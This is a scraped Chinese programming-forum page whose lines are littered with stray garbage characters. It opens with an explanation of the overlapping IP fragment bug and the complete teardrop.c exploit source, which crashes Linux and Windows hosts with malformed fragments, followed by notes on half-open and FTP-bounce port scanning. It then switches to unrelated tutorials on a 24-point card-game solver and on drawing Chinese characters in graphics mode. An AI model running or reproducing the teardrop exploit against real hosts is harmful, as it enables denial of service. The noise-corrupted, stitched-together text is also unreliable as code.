! T) O3 B) N# Fend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
4 j( x0 ]5 p0 t+ ^+ ?3 [if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
" k# `8 x% A2 W( w5 u! ]7 x% I{
: F, G8 `* ]- Z+ Ki = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
fp-&gt;end = end;
" z' I6 ]1 n' T& pfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
" d+ C% n- b! i2 k  s8 p第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
& {8 O7 a# I1 L1 V' i1 d- ?- Zoffset=0
& [2 F( @" ^; Q6 q6 M, p* A1 A这样第二个碎片的 end=9+10=19
2 O6 x, J5 L' ]& K3 Koffset=offset+（20-offset）=20
fp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
% O  i3 X5 A: N# p/*
5 I4 r) f4 C8 \+ H* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
; Q1 ]  I9 h9 T$ N( R3 \1 J4 d, c*
* Linux/NT/95 Overlap frag bug exploit
*
! ^! i  h! F4 ]/ ]) ^* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
6 q5 C& t* G6 l2 y$ J- G* Based off of: flip.c by klepto
$ M: k$ a! V, n% h( ]% j* Compiles on: Linux, *BSD*
*
/ \2 t5 o  V4 h* gcc -O2 teardrop.c -o teardrop
# f9 R( t$ R) A* v* OR
6 ^, Y. T" ?# L2 P* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/</P><P>#include <STDIO.H>
#include <STDLIB.H>
3 H& z  B( z' H) K+ _# M#include <UNISTD.H>
#include <STRING.H>
#include <NETDB.H>
#include <NETINET in.h>
#include <NETINET udp.h>
#include <ARPA inet.h>
8 o% b. \, b* ^9 o2 Y* @#include <SYS types.h>
#include <SYS time.h>
2 h0 `5 E5 K6 U1 ^% I" M3 {2 E3 h#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
- ~, X, D% F5 O2 K* ?/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
' r# y. I, E1 i9 ^) C' a#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
! Z; s2 }: ?) @8 w# X( N0 F#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
9 J; G. i2 G% B. e4 j! R( T*/</P><P>void usage(u_char *);
u_long name_resolve(u_char *);
( n. l8 L9 Y5 I  Vu_short in_cksum(u_short *, int);
: H! ~7 k! ~8 `& B* ^3 c+ t! N" xvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
  g0 o% S$ a) H5 P0 l5 W{
int one = 1,
count = 0,
( u4 T" D$ @# ^* Bi,
rip_sock;
! \' g: f% k- E) d# K$ mu_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
7 u6 ?5 e) l  r* h0 i* Wstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
3 [+ x/ V# U4 N7 x& a( s6 vif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
  P2 G# X. k8 A* t; O5 K% t$ L' _- P{
- o0 v4 d) J- {) kperror("raw socket");
exit(1);
}
! Z7 T7 E+ [, E//由系统处理IP校验和。
/ q2 K; H- U1 y3 D' nif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
( y) j- \' M* {) |$ |&lt; 0)
5 L1 M& \7 {5 O' G. }3 v{
perror("IP_HDRINCL");
  ]8 s& l  O! `, kexit(1);
}</P><P>if (argc &lt; 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
- f( `3 B  Q2 f! m5 P{
fprintf(stderr, "What the hell kind of IP address is that?\n");
5 Y- z+ _6 J6 Y: U5 X8 d( P% o, Q3 Rexit(1);
; T7 `, k' ?% V- {}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
, U2 L5 [% m; y) H) H8 B{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
  ^9 i9 V) s. n4 k4 I3 Jbreak;
case 't': /* dest port (DNS, anyone?) */
. O! x# o" M2 Z# Idst_prt = (u_short)atoi(optarg);
break;
9 S1 e7 ~, R" s7 O5 L) Qcase 'n': /* number to send */
8 x  a5 J; g" dcount = atoi(optarg);
break;
! u! D. o- ~7 Q- vdefault :
3 E$ t4 V. k* X$ k; _1 e9 \usage(argv[0]);
break; /* NOTREACHED */
* p* \% y. y$ t# q}
}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
( f* K+ W! n* A9 }. P7 dif (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
* |; G* I# E4 _1 [0 Pfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
{
. |1 l9 D9 }# X! c, psend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
% V1 B" y9 G! u1 {) Rfprintf(stderr, "b00m ");
usleep(500);
3 @- B. B8 d- l}
. V% J0 ~& z# B0 D* Cfprintf(stderr, "]\n");
4 ]0 i; D7 x: A/ Y7 ^; I3 ^return (0);
1 f( w  ~- ?7 i, W}</P><P>/*
8 E6 |" I9 _) A, t8 ]* Send two IP fragments with pathological offsets. We use an implementation
* e0 Y# c) F. ~  N! e# F/ O* independent way of assembling network packets that does not rely on any of
" `& w* n( a5 j* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
- \2 ?3 c$ ~( E{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
% u  i% G0 n: Y  @0 Yu_char byte; /* a byte */
, l- j3 {  J/ E+ @struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
sin.sin_port = src_prt;
: m9 X8 n5 d! c+ E# lsin.sin_addr.s_addr = dst_ip;</P><P>/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
5 ~" J9 P; s4 {* t- ppacket = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
! L" c% t/ N8 d# @bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &amp;byte, sizeof(u_char));
$ S! u3 f  a: S7 S, w3 R5 G7 {p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 u* h4 s* k; C3 P$ Ip_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
& M1 E7 y( A3 u7 y4 Z% v) @3 o! [5 xp_ptr += 2;
( f3 K5 C% ?$ P& n9 w5 C*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
) p- n7 C1 x  Y0 Y& H& Rmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
9 W# Z& O: `* P! j* `, A& Yp_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
4 w. f1 d% w- v0 t4 f*((u_long *)p_ptr) = dst_ip; /* IP destination address */
  G/ B6 q" H: P6 X% G4 @p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
- C" {" W( X; }' c3 \*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
) M1 Q- v' _; d0 Wp_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
3 M6 ~5 v- `0 d! l) [1 {sizeof(struct sockaddr)) == -1)
# r" B0 p6 K3 U7 D# S1 s{
) _9 b2 Q5 i- w4 F% [1 C/ vperror("\nsendto");
free(packet);
& s5 Q5 y" Z1 j! h$ _/ hexit(1);
+ C  l" N7 t. {2 K}</P><P>/* We set the fragment offset to be inside of the previous packet's
( u4 ?. p7 R! t2 `% p0 _- A: e- G* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
" _: @! J3 r$ q# f2 z5 k* t* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
4 k1 }+ E0 r- N*/
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
, _: ]2 |) W6 j- ^" Y*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
8 v7 U: J* R. Y& Dsizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
1 p' h& s$ q4 m4 Afree(packet);
( W. O& F# T: U" T" S: w}</P><P>u_long name_resolve(u_char *host_name)
6 S3 y/ _  a2 X( g. Z{
struct in_addr addr;
% A! p9 g; p4 }; {, estruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
{
8 n; u* k* z4 B1 dif (!(host_ent = gethostbyname(host_name))) return (0);
7 X; L) f: A0 e, ~9 d' e# cbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
}
2 W4 P, n, ]& ^% T& Dreturn (addr.s_addr);
/ J& L4 k6 ~/ C# p2 Y$ o8 U; W}</P><P>void usage(u_char *name)
/ }6 \" `5 v% L7 N{
8 u7 i# _+ @+ L1 Ufprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
8 O3 C- O: N8 j# Q: Hname);
+ S' M% w1 ?: j9 r- ?exit(0);
) I+ Y% _3 C5 j1 S  u; U+ h* S* U}</P><P>
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
) v* i& p/ @& W* d6 ?如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
% l% c9 }& P6 E值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
0 v1 v- n* `, C/ E2 m9 ctelnet 192.168.1.13 21
# F: j: p; S: O0 dTrying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
3 k: C4 ]) I$ @' f& d, s) l' O220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
- E  z0 [4 p: T% j% s1 k331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
8 n) b* }7 ]7 ?* A. V1 s9 ]7 R+ ?230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
3 U$ B5 u! ^) p" j, Y8 m$ z, l150 Opening ASCII mode data connection for file list.
226 Transfer complete.
8 E: X/ z6 X$ U! N//该端口活动中
. Q+ t* u# A+ U0 F6 _但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
8 d* y+ u2 j% ]! d0 f. L+ WSYN|FIN ACK or SYN|ACK* RST
1 z0 A6 Z. X- s9 _0 BACK Nothing RST
3 |8 H3 {6 x' f+ y0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
7 v: L/ K6 G" n! w' e- _7 G$ U; Q& s若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。</P><P>notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。
2 q" {# c9 f; x* Y
　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
( H& P( J% j* \( b0 V首先穷举的可行性问题。我把表达式如下分成三类——
" p* _: L4 o  R, g. ]: y% J<FONT color=#ff0000>1、 无括号的简单表达式。
0 ]' k: N, S3 H' V% k  Z6 ]2、 有一个括号的简单表达式。
# J( \' I( U# h" y$ ^% v  k3、 有两个括号的较复4、 杂表达式。
</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
* ^6 B0 o) K) S! `9 E" Y& b, D& f: U用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
/ M9 n* B0 U7 I+ x# cint fans(c,k,ans,kans,j)
7 X! Z8 f" _4 c# iint j,k[],c[];char ans[],kans[];
/ I. T' Q9 l% P! Q9 A1 z9 ]; P* Y{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p&lt;4;p++)
3 u, C& v' B, Q8 M# H- m{ for(r=0,flag=0;r<J;R++)
) s9 _) |+ I' L2 i: M! r3 ~0 @ if(k[p]!=kans[r]) flag++;
4 @  H9 v) ]. Qif(flag==j) t[j][q++]=k[p];
}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h&lt;4;h++)
- [' |! T8 F! Z% t7 X+ D$ Vans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
$ A, d& M* e' p3 T" D7 m. W达式中的位置 */
for(h=0;h&lt;3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
# T* G$ W( G! p9 r# ~8 z5 w/ v}
+ C" g# X1 P1 F8 v* O# N/ ~9 ~else { j++;
fans(c,k,ans,kans,j);
6 l/ v. w. y/ B% I$ `! a  r" m; cj--;
}
: R. n6 ~( g: f}
}</FONT>
6 V+ E) z' @5 _; d9 Z* x' v
　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:
( e5 n0 N/ h8 G* ]( K1 ^' N) g
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
- Q# s$ r/ w* B$ }9 h- {/ _for(k[j]=0;k[j]&lt;4;k[j]++)
+ e* h: N* G, I3 m0 K* L" V8 `  l2 b{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
4 G8 \' q$ K3 H  ?这里的三个运算符号分别存放在1、3、5位*/
* H6 }( f0 I  lif(j==2)
{ ans[5]=sy[k[j]];
1 r4 d: [4 X% g/ [  }5 ^' T/* 此处根据不同的表达式形式再进行相应的处理 */
( q+ H/ M* S4 H2 }0 d}
else { j++; sans(ans,sy,j--,h); }
6 `  \  j; C- v5 r: F+ x& q}
) B: `4 q* e; F; U% M; j- L}

</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m&lt;=4;m+=2)
  F' ^0 h6 ^* ]4 l  J0 N7 v0 Efor(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

3 m5 X. H; [2 H5 z　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
: i+ B. b- h- ]+ l! R* `</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

3 Z3 a  v: _) O# {1 ]　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

　　那么作为栈的著名应用，表达式的计算可以有两种方法。
8 x; `, u5 U8 k4 W; G% s! \& o" Y* ]2 ?
　　<FONT color=#ff0000>第一种方法——</FONT>
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、 若W为操作数
2、 则将W压入操作数栈OVS
3、 且继续扫描下一个字符
4、 若W为运算符
5、 则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
' @: c* Y4 \; N/ v9 M(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
% G0 O% L% R; X(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
' T# P8 E' I$ V1 N(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

: w: y7 L% A' M<FONT color=#ff0000>　　第二种方法——</FONT>
! z; P( K8 A( W1 H! o/ F  {7 B　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。
9 I! G$ q% t6 q6 L3 p, N
　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。
1 G, B1 {& }* i- T1 z. a4 q" g
　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
8 ]2 J# k+ ^$ P& {* b4 L表达式 波兰表达式
A-B AB-
  k3 t6 ~1 I# f+ C9 X  _7 m7 u（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
7 {0 G4 e6 K3 t; ~% c" q（B+C）/（A-D） BC+AD-/

. k2 p+ x$ U5 I7 t: `) B4 ?5 A　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
8 W) j! i# ^! L* o( }
- w1 b+ y1 {) h" p　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——
3 y1 f+ h; c' h8 V; K. R2 n8 X6 b
) G. M3 \' z& Q+ U5 a) @<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
" b& _4 W+ m. n3 B1 tint first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
3 c$ x/ B/ i* u( Dcase '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
case '(': p=0; break;
case '=': p=-1; break;
7 F( ~) l( d4 \0 D" w$ k! e4 r}
return(p);
$ U' q7 J  Q; r/ v' q}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
: R4 n  t. h! A$ _/* sp[]为表达式数组 */
int mid_last()
/ k5 \% h* y4 U3 k# a8 I' g1 F{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
while(c!='\0')
{ if(islower(c)) sp[j++]=c;
else switch(c)
  S8 N& c; R# h! B4 r/ R1 p  b9 I, c{ case '+':
' L3 U% y& a: P: mcase '-':
2 `( W" w. W0 x: O. Vcase '*':
case '/': while(first(c)&lt;=first(sm[top]))
sp[j++]=sm[top--];
- I2 D! p+ z' G& s6 E' H& osm[++top]=c; break;
* _$ L" D' ~7 `( q$ q. |case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
sp[j++]=sm[top--];
top--; break;
3 }8 E0 D/ ?4 xdefault :return(1);
# h- A) R; g5 V3 j, T; J}
/ n9 U; C# J* e' ~, e5 _c=s[++i];
}
while(top&gt;0) sp[j++]=sm[top--];
2 }- c& Z$ J- l0 hsp[j]='\0'; return(0);
}
$ o: I* l9 v# G- i* V( V; r) e/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm[M],tr; char c;
( U# C0 K4 [# l1 v5 z$ [$ v- Qc=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
) f9 e4 t. I  t" |; F+ S8 Uver数组中存放着这些字母所代替的数*/
* {- {0 _1 F2 J8 V( y$ q% O- F( yelse switch(c)
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
! k- e1 c) F7 h5 |. j5 F1 \, N3 y4 Kcase '/': tr=sm[top--];sm[top]/=tr;break;
' i, `7 a6 R- K: ]2 O" {, b% j# d& ndefault : return(1);
5 i! X8 a8 K1 Y$ [" J& C}
1 ~. q$ o/ X3 q& v; e2 S3 Lc=sp[++i];
}
2 G- Y8 U8 v& S5 F/ Y- l! x' ]if(top&gt;0) return(1);
else { result=sm[top]; return(0); }
. g& F& m7 q* u  g: D' g% x5 w}
2 k( e" i1 ]& T5 ?) \* J</FONT>
　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。
/ B1 F; U$ h1 V& Y
　　最后我总结了一下这其中容易出错的地方——
' Y$ Q' O) J0 S4 I! r% \
　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。
2 e" X4 i! r- M/ ]- d/ Q
, ]8 ^6 C- R3 ~, N% \　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。
. S2 r0 a; L, a  M
　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。
/ m8 i! F% H8 }
  h, ^0 O8 r8 M　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。
* M$ _: ?8 \/ Y* `9 c/ H. j
$ M5 c% ?& q1 {9 X' }　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
, Q* j7 C4 O- x" U1 G' c" @</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
4 H. P1 C% W5 A9 v4 x/ u图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
6 D; o: r% _/ }' `4 e: u3 `　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
# Y9 C1 l  p& junsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
long l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
0 J  @" Z2 M# ^( C3 }3 yif(i&gt;0xa1)
if(f==0){
c1=(i-0xa1)&amp;0x07f;
0 I5 F" F9 ]/ j* H0 U+ ^f=1;
}
" L, i0 b1 g2 c, C" @else{
& C+ u& G; Y6 t& `* L( kc2=(i-0xa1)&amp;0x07f;
2 p& |( _& q# p! ?6 Tf=0;
) l. L- M# Q: Q* Y0 x( P& {rec=c1*94+c2;
l=rec*32L;
) @2 |0 w* A& V; @6 K- d4 alseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1&lt;16;i1++)
; t( e( S' ~6 m- Z/ c$ sfor(i2=0;i2&lt;2;i2++)
$ a! G7 Z+ [' X2 i# }for(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
* F9 `: [: O! dputpixel(x+i2*8+i3,y+i1,color);
